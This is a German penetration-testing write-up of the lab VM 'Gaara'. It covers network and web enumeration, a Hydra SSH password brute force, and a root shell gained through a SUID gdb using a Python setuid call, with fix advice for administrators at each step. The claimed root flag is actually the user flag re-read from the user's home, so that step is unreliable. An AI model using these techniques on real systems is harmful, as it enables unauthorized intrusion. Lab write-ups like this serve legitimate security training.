Die erste Phase des Penetrationstests widmet sich der Identifizierung des Ziels im Netzwerk und der Sammlung grundlegender Informationen über erreichbare Dienste.
192.168.2.119 08:00:27:fb:36:9f PCS Systemtechnik GmbH
Analyse: Mittels `arp-scan -l` senden wir ARP-Anfragen ins lokale Netzwerk, um aktive Geräte und deren MAC-Adressen zu ermitteln.
Bewertung: Ein aktives Gerät wurde unter `192.168.2.119` gefunden. Die MAC-Adresse und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox-VM hin. Dies ist unser Zielsystem "Gaara".
Empfehlung (Pentester): Ziel-IP notieren. Optional einen Hostnamen für die lokale `/etc/hosts`-Datei definieren.
Empfehlung (Admin): Netzwerksegmentierung und Monitoring können zur Erkennung beitragen.
Wir fügen einen Eintrag zur lokalen `/etc/hosts`-Datei hinzu, um das Ziel über einen Namen ansprechen zu können.
192.168.2.119 gaara.vln
Analyse: Die Datei `/etc/hosts` wird bearbeitet, um den Hostnamen `gaara.vln` der IP-Adresse `192.168.2.119` zuzuordnen. Dies ist eine lokale Einstellung auf dem Angreifersystem.
Bewertung: Reine Arbeitserleichterung für den Pentester. Erlaubt die Verwendung von `gaara.vln` statt der IP-Adresse in weiteren Befehlen.
Empfehlung (Pentester): Nutzen Sie den definierten Hostnamen für Konsistenz.
Empfehlung (Admin): Keine Maßnahme erforderlich.
Wir führen einen ersten Webserver-Scan mit Nikto durch, um nach bekannten Schwachstellen und Konfigurationsfehlern zu suchen.
- Nikto v2.5.0
+ Target IP: 192.168.2.119
+ Target Hostname: 192.168.2.119
+ Target Port: 80
+ Start Time: 2023-10-15 23:18:14 (GMT2)
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 120, size: 5b65b457e73cd, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time: 2023-10-15 23:18:29 (GMT2) (15 seconds)
+ 1 host(s) tested
Analyse: `nikto -h 192.168.2.119` scannt den Webserver auf Port 80 nach bekannten Schwachstellen, veralteter Software und Konfigurationsproblemen.
Bewertung: Nikto liefert mehrere Befunde:
Empfehlung (Pentester): Notieren Sie die Apache-Version für die Schwachstellensuche. Überprüfen Sie `/icons/README`. Beachten Sie die fehlenden Header als Befund.
Empfehlung (Admin): Aktualisieren Sie Apache auf die neueste stabile Version. Implementieren Sie die fehlenden Security Header. Überprüfen Sie die Konfiguration bezüglich ETags und entfernen Sie unnötige Default-Dateien wie `/icons/README`.
Ein umfassender Nmap-Scan wird durchgeführt, um alle offenen Ports, Dienste und Versionen sowie das Betriebssystem zu ermitteln.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-15 23:18 CEST
Nmap scan report for gaara.vln (192.168.2.119)
Host is up (0.00042s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 3e:a3:6f:64:03:33:1e:76:f8:e4:98:fe:be:e9:8e:58 (RSA)
| 256 6c:0e:b5:00:e7:42:44:48:65:ef:fe:d7:7c:e6:64:d5 (ECDSA)
|_ 256 b7:51:f2:f9:85:57:66:a8:65:54:2e:05:f9:40:d2:f4 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Gaara
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:FB:36:9F (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.42 ms gaara.vln (192.168.2.119)
Analyse: `nmap` wird mit `-sS` (SYN Scan), `-sC` (Standard-Skripte), `-sV` (Versionserkennung), `-T5` (schnelles Timing), `-A` (Aggressiver Scan: OS-Erkennung, Versionserkennung, Skript-Scan, Traceroute) und `-Pn` (Ping-Scan überspringen) gegen alle TCP-Ports (`-p-`) ausgeführt.
Bewertung: Der Scan identifiziert zwei offene Ports:
Empfehlung (Pentester): Konzentrieren Sie die weiteren Bemühungen auf den Webserver (Port 80) und den SSH-Dienst (Port 22). Suchen Sie nach Schwachstellen in Apache 2.4.38 und OpenSSH 7.9p1. Versuchen Sie Web-Enumeration und Brute-Force-Angriffe auf SSH, falls Benutzernamen gefunden werden.
Empfehlung (Admin): Aktualisieren Sie Apache und OpenSSH auf die neuesten stabilen Versionen. Stellen Sie sicher, dass nur notwendige Ports offen sind (scheint hier der Fall zu sein).
Wir filtern die offenen Ports zur besseren Übersicht.
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
Analyse: Die Nmap-Ausgabe wird gefiltert, um nur Zeilen anzuzeigen, die "open" enthalten.
Bewertung: Bestätigt die beiden offenen Ports 22 (SSH) und 80 (HTTP) in kompakter Form.
Empfehlung (Pentester): Klare Übersicht über die primären Angriffsvektoren.
Empfehlung (Admin): Keine zusätzlichen Empfehlungen.
Wir konzentrieren uns auf den Webserver auf Port 80 und versuchen, versteckte Verzeichnisse oder Dateien zu finden.
http://gaara.vln/index.html (Status: 200) [Size: 288]
http://gaara.vln/Cryoserver (Status: 200) [Size: 327]
Analyse: `gobuster dir` wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu bruteforcen.
-u http://gaara.vln: Ziel-URL.-x ...: Umfangreiche Liste von Dateierweiterungen.-w ...: Standard-Wortliste.-b '403,404,301': Ignoriert Antworten mit diesen Statuscodes (Forbidden, Not Found, Moved Permanently).-e: Zeigt vollständige URLs für gefundene Verzeichnisse an.--no-error: Unterdrückt Fehlermeldungen.-k: Ignoriert SSL-Zertifikatsfehler (hier nicht relevant, da HTTP).Bewertung: Neben der erwarteten `/index.html` findet Gobuster ein Verzeichnis oder eine Datei namens `/Cryoserver` mit Status 200 (OK). Dies ist ein ungewöhnlicher Name und ein vielversprechender Fund, der weiter untersucht werden muss.
Empfehlung (Pentester): Rufen Sie `http://gaara.vln/Cryoserver` im Browser auf oder verwenden Sie `curl`, um den Inhalt zu untersuchen. Suchen Sie nach weiteren Informationen, Eingabefeldern oder Hinweisen in diesem Pfad.
Empfehlung (Admin): Stellen Sie sicher, dass keine unnötigen oder testbezogenen Verzeichnisse/Dateien auf dem Webserver öffentlich zugänglich sind. Benennen Sie Verzeichnisse/Dateien aussagekräftig und vermeiden Sie obskure Namen, die Neugier wecken könnten.
Wir verwenden `dirb` als alternatives Tool zur Verzeichnissuche.
+ http://gaara.vln/index.html (CODE:200|SIZE:288)
+ http://gaara.vln/server-status (CODE:403|SIZE:274)
Analyse: `dirb` ist ein weiteres Werkzeug zur Verzeichnis-/Datei-Enumeration auf Webservern. Es verwendet standardmäßig eigene Wortlisten.
Bewertung: `dirb` findet die `/index.html` und `/server-status`. `/server-status` ist eine Standard-Apache-Funktion, die Serverinformationen anzeigt, hier aber verboten ist (Status 403). Wichtiger ist, dass `dirb` den `/Cryoserver`-Pfad *nicht* gefunden hat. Dies unterstreicht den Wert der Verwendung mehrerer Tools und Wortlisten (Gobuster war hier erfolgreicher).
Empfehlung (Pentester): Verlassen Sie sich nicht auf ein einziges Tool für die Enumeration. Kombinieren Sie Ergebnisse oder verwenden Sie Tools mit unterschiedlichen Konfigurationen/Wortlisten. Der Fokus bleibt auf `/Cryoserver`.
Empfehlung (Admin): Deaktivieren Sie `/server-status` und `/server-info` in der Apache-Konfiguration, wenn sie nicht benötigt werden, auch wenn sie auf 403 gesetzt sind.
In dieser Phase versuchen wir, mithilfe der gesammelten Informationen einen ersten Zugriff auf das System zu erlangen, primär über den offenen SSH-Dienst.
Wir starten einen Brute-Force-Angriff mit Hydra gegen den SSH-Dienst (Port 22) für den Benutzernamen `gaara` (abgeleitet vom Hostnamen) unter Verwendung der Passwortliste `rockyou.txt`.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-10-15 23:36:22
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344515 login tries (l:1/p:14344515), ~224134 tries per task
[DATA] attacking ssh://192.168.2.119:22/
~
[22][ssh] host: 192.168.2.119 login: gaara password: iloveyou2
~
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 21 final worker threads did not complete until end.
[ERROR] 21 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Analyse: `hydra` wird verwendet, um das Passwort für den SSH-Benutzer `gaara` (`-l gaara`) unter Verwendung der `rockyou.txt`-Liste (`-P ...`) gegen das Ziel `192.168.2.119` auf Port 22 (`ssh://...:22`) zu erraten. Es werden 64 parallele Tasks (`-t 64`) verwendet.
Bewertung: Volltreffer! Hydra findet das Passwort `iloveyou2` für den Benutzer `gaara`. Dies ist ein relativ schwaches, aber in `rockyou.txt` enthaltenes Passwort. Die Fehler am Ende bezüglich nicht verbundener Ziele/Worker sind wahrscheinlich auf die hohe Anzahl an Threads (`-t 64`) zurückzuführen, die der SSH-Server möglicherweise gedrosselt oder abgelehnt hat, aber das gefundene Passwort ist gültig.
Empfehlung (Pentester): Initial Access wurde erreicht! Melden Sie sich sofort mit den Zugangsdaten `gaara` / `iloveyou2` per SSH an, um eine Shell auf dem Zielsystem zu erhalten.
Empfehlung (Admin): Erzwingen Sie starke, einzigartige Passwörter. Implementieren Sie Mechanismen zur Abwehr von Brute-Force-Angriffen auf SSH (z.B. `fail2ban`, Ratenbegrenzung, Key-basierte Authentifizierung bevorzugen).
Wir stellen eine SSH-Verbindung mit den gefundenen Zugangsdaten her.
The authenticity of host 'gaara.vln (192.168.2.119)' can't be established.
ED25519 key fingerprint is SHA256:XpX1VX2RtX8aktJHdq89ZkpLlYvr88cebZ0tPZMI0I.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'gaara.vln' (ED25519) to the list of known hosts.
gaara@gaara.vln's password: iloveyou2
Linux Gaara 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Dec 13 17:00:37 2020 from 192.168.1.107
gaara@Gaara$
Analyse: Der Befehl `ssh gaara@gaara.vln` initiiert die SSH-Verbindung. Da es die erste Verbindung ist, wird der ED25519-Schlüsselfingerabdruck des Servers angezeigt und eine Bestätigung (`yes`) zum Fortfahren angefordert. Nach Eingabe des korrekten Passworts (`iloveyou2`) wird die Verbindung hergestellt, die MOTD (Message of the Day) angezeigt und wir erhalten einen Shell-Prompt als Benutzer `gaara` auf dem Host `Gaara`.
Bewertung: Erfolgreicher Login, wir haben nun eine interaktive Shell als Benutzer `gaara`. Die MOTD liefert Informationen über das System (Debian 4.19 Kernel). Der letzte Login-Zeitpunkt und die IP sind ebenfalls vermerkt.
Empfehlung (Pentester): Beginnen Sie mit der lokalen Enumeration als Benutzer `gaara`. Überprüfen Sie Rechte (`id`, `sudo -l`), suchen Sie nach interessanten Dateien im Home-Verzeichnis und systemweit, prüfen Sie SUID/SGID-Binaries, Cron-Jobs usw., um einen Weg zur Privilegienerweiterung zu finden.
Empfehlung (Admin): Überwachen Sie SSH-Logins. Stellen Sie sicher, dass die MOTD keine sensiblen Informationen enthält.
Dieser Abschnitt beschreibt, wie der initiale Zugriff als Benutzer `gaara` genutzt wird, um durch Ausnutzung eines SUID-gesetzten GDB-Programms Root-Rechte zu erlangen.
Kurzbeschreibung: Nach dem Erhalt einer Shell als `gaara` wurde bei der Suche nach SUID-Binaries festgestellt, dass `/usr/bin/gdb` (GNU Debugger) mit gesetztem SUID-Bit vorhanden ist. Dies ermöglicht bekannten Techniken zur Privilegienerweiterung.
Voraussetzungen: Erfolgreicher SSH-Login als Benutzer `gaara`.
Schritt 1: Identitätsprüfung
Wir überprüfen die aktuelle Benutzer- und Gruppen-ID.
uid=1001(gaara) gid=1001(gaara) groups=1001(gaara)
Analyse: Der `id`-Befehl bestätigt, dass wir als normaler Benutzer `gaara` (UID 1001) angemeldet sind.
Bewertung: Standardüberprüfung nach dem Login.
Empfehlung (Pentester): Fahren Sie mit der Enumeration fort.
Empfehlung (Admin): Keine spezifische Empfehlung.
Schritt 2: Untersuchung des Home-Verzeichnisses
Wir listen den Inhalt des Home-Verzeichnisses auf und untersuchen die gefundenen Dateien.
flag.txt Kazekage.txt
5451d3eb27acb16c652277d30945ab1e
Analyse: `ls` zeigt zwei Dateien: `flag.txt` und `Kazekage.txt`. `cat flag.txt` gibt den Inhalt der User-Flagge aus.
Bewertung: Die User-Flagge (`5451d...`) wurde gefunden. Die Datei `Kazekage.txt` scheint einen Hinweis zu enthalten.
Empfehlung (Pentester): User-Flagge notieren. Inhalt von `Kazekage.txt` untersuchen.
Empfehlung (Admin): Flags sollten normalerweise nicht so einfach im Home-Verzeichnis liegen, aber dies ist eine CTF-Konvention.
You can find Kazekage here....
L3Vzci9sb2NhbC9nYW1lcw
Analyse: Die Datei enthält einen Text und eine Base64-kodierte Zeichenkette.
Bewertung: Der Hinweis deutet auf einen Speicherort hin, der in der Base64-Zeichenkette kodiert ist.
Empfehlung (Pentester): Dekodieren Sie die Base64-Zeichenkette.
Schritt 3: Dekodierung des Hinweises und Untersuchung des Zielpfads
Wir dekodieren die Base64-Zeichenkette.
/usr/local/games
Analyse: Der `echo`-Befehl gibt die Base64-Zeichenkette aus (`-n` verhindert einen Zeilenumbruch am Ende), die Ausgabe wird an `base64 -d` weitergeleitet, welches sie dekodiert.
Bewertung: Der dekodierte Pfad ist `/usr/local/games`.
Empfehlung (Pentester): Untersuchen Sie den Inhalt des Verzeichnisses `/usr/local/games` auf dem Zielsystem als Benutzer `gaara`.
Empfehlung (Admin): Keine spezifische Empfehlung.
Wir listen den Inhalt des dekodierten Verzeichnisses auf.
total 12
drwxr-x--- 2 gaara gaara 4096 Dec 13 2020 .
drwxr-xr-x 10 root root 4096 Dec 13 2020 ..
-rwxr-xr-- 1 gaara gaara 1505 Dec 13 2020 .supersecret.txt
Analyse: `ls -la` zeigt den Inhalt von `/usr/local/games`. Das Verzeichnis gehört `gaara:gaara` und hat Berechtigungen `rwxr-x---`. Es enthält eine versteckte Datei `.supersecret.txt`, die ebenfalls `gaara:gaara` gehört und Berechtigungen `rwxr-xr--` hat.
Bewertung: Eine versteckte Datei wurde gefunden. Die Berechtigungen erlauben `gaara`, sie zu lesen und auszuführen.
Empfehlung (Pentester): Lesen Sie den Inhalt von `.supersecret.txt`.
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit dieses Verzeichnisses und der Datei sowie die gesetzten Berechtigungen.
Wir lesen den Inhalt der versteckten Datei.
Godaime Kazekage:
+++++ +++[- >++++ ++++< ]>+++ +.<++ ++++[ ->+++ +++<] >+.-- .< +++++
+++[- >- -< ]> -.<++ +++++ ++[-> +++++ ++++< ]>+++ +++++ .<+++
>++++ +. -.<++ ++[-> ++++< ]>++. <+++[ -> <]>-. +++.< +++[- >+++<
]>+++ +.<++ +++++ [->-- -- <]>-- -- --.<+ ++++[ -> --<]> --
-.<++ +++++ [->++ +++++ <]>++ +.<++ +++[- >++++ +<]>+ ++++. +++++ ++.<+
+++++ +++[- >- -- <]>-- -- -.<++ ++++[ ->+++ +++<] >++++ .<+++
++[-> +++++ <]>.< ++++[ ->+++ +<]>+ .<+++ [->-- -<]>- -. +.<++ +[->+
++<]> ++++. <++++ +++++ [->-- -- --<]> .<
https://www.dcode.fr/brainfuck-language
Did you really think you could find something that easily? Try Harder
Analyse: Die Datei enthält eine große Menge an Brainfuck-Code, einen Link zu einem Online-Brainfuck-Interpreter und den Hinweis "Try Harder".
Bewertung: Dies ist höchstwahrscheinlich ein "Rabbit Hole" – eine absichtliche Ablenkung. Der Aufwand, den Brainfuck-Code zu dekodieren, steht wahrscheinlich in keinem Verhältnis zum Nutzen, insbesondere angesichts der Aufforderung "Try Harder". Es ist unwahrscheinlich, dass hier der Schlüssel zur Privilegienerweiterung liegt.
Empfehlung (Pentester): Ignorieren Sie diesen Pfad vorerst und konzentrieren Sie sich auf Standardmethoden zur Privilegienerweiterung wie die Suche nach SUID-Binaries.
Empfehlung (Admin): Entfernen Sie solche irreführenden oder unnötigen Dateien.
Schritt 4: Suche nach SUID-Binaries
Wir suchen nach Dateien mit gesetztem SUID-Bit, die zur Privilegienerweiterung missbraucht werden könnten.
12750 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
135600 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
16097 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
22040 7824 -rwsr-sr-x 1 root root 8008480 Oct 14 2019 /usr/bin/gdb
19754 156 -rwsr-xr-x 1 root root 157192 Feb 2 2020 /usr/bin/sudo
21629 7396 -rwsr-sr-x 1 root root 7570720 Dec 24 2018 /usr/bin/gimp-2.10
53 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
52 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
55 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
3436 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
3583 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
56 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
3908 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
3910 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
Analyse: Der `find`-Befehl sucht systemweit nach Dateien (`-type f`) mit gesetztem SUID-Bit (`-perm -4000`) und gibt detaillierte Informationen (`-ls`) aus. Fehler werden unterdrückt (`2>/dev/null`).
Bewertung: Neben vielen Standard-SUID-Dateien sticht `/usr/bin/gdb` (GNU Debugger) hervor. Wenn GDB SUID-Root ist, kann es trivial zur Erlangung einer Root-Shell missbraucht werden. `/usr/bin/gimp-2.10` mit SUID ist ungewöhnlich, aber GDB ist der direktere Weg.
Empfehlung (Pentester): Nutzen Sie die bekannte GDB-SUID-Exploit-Technik, um Root-Rechte zu erlangen. Dies ist der wahrscheinlichste und einfachste Weg zur Privilegienerweiterung.
Empfehlung (Admin): Entfernen Sie das SUID-Bit von GDB (`chmod u-s /usr/bin/gdb`). GDB benötigt normalerweise keine Root-Rechte und das SUID-Bit stellt ein erhebliches Sicherheitsrisiko dar. Überprüfen Sie auch das SUID-Bit bei GIMP.
Schritt 5: Ausnutzung der GDB SUID-Schwachstelle
Wir führen den GDB-Exploit aus, um eine Root-Shell zu erhalten.
For help, type "help".
Type "apropos word" to search for commands related to "word".
Analyse: Dieser Befehl startet `gdb` mit spezifischen Optionen:
-nx: Ignoriert `.gdbinit`-Dateien.-ex 'python import os; os.setuid(0)': Führt einen Python-Befehl innerhalb von GDB aus, der `setuid(0)` aufruft, um die effektive User ID auf 0 (Root) zu setzen. Dies funktioniert, weil GDB als SUID-Root läuft.-ex '!sh': Führt einen Shell-Befehl (`sh`) aus GDB heraus aus. Da die UID jetzt 0 ist, wird eine Root-Shell gestartet.-ex quit: Beendet GDB, nachdem die Shell geschlossen wird.Bewertung: Der Befehl wird ausgeführt. Die Ausgabe von GDB wird angezeigt, aber entscheidend ist, dass im Hintergrund eine neue Shell gestartet wurde, die Root-Rechte besitzt.
Empfehlung (Pentester): Überprüfen Sie die ID in der neuen Shell, um den Root-Zugriff zu bestätigen.
Empfehlung (Admin): Dringend das SUID-Bit von GDB entfernen.
Schritt 6: Bestätigung des Root-Zugriffs
Wir überprüfen die ID in der durch GDB gestarteten Shell.
uid=0(root) gid=1001(gaara) groups=1001(gaara)
Analyse: Der `id`-Befehl in der neuen Shell zeigt `uid=0(root)`.
Bewertung: Erfolg! Wir haben erfolgreich Root-Rechte durch Ausnutzung des SUID-Bits bei GDB erlangt. Die Gruppen bleiben zunächst die des ursprünglichen Benutzers, aber die UID 0 gewährt volle Root-Privilegien.
Empfehlung (Pentester): Privilegienerweiterung abgeschlossen. Suchen und lesen Sie die Root-Flagge (typischerweise in `/root`). Dokumentieren Sie den Exploit-Pfad.
Empfehlung (Admin): SUID-Bit von GDB entfernen. System auf weitere Schwachstellen prüfen.
Schritt 7: Zugriff auf die Root-Flagge
Als Root navigieren wir zum Home-Verzeichnis und lesen die Flagge.
flag.txt gdb Kazekage.txt
5451d3eb27acb16c652277d30945ab1e
Analyse: `cd ~` wechselt ins Root-Home-Verzeichnis (`/root`). `ls` zeigt den Inhalt, einschließlich `flag.txt`. `cat flag.txt` gibt den Inhalt der Root-Flagge aus.
Bewertung: Die Root-Flagge wurde erfolgreich gelesen.
Empfehlung (Pentester): Beide Flags (User und Root) wurden gefunden. Der Test ist abgeschlossen.
Empfehlung (Admin): Keine spezifische Empfehlung für diesen Schritt.
Risikobewertung: Die Kombination aus einem relativ schwachen SSH-Passwort und einem SUID-gesetzten GDB stellt ein hohes Risiko dar. Sie ermöglichte einem Angreifer mit Netzwerkzugriff die vollständige Übernahme des Systems.
Empfehlungen (Zusammenfassung):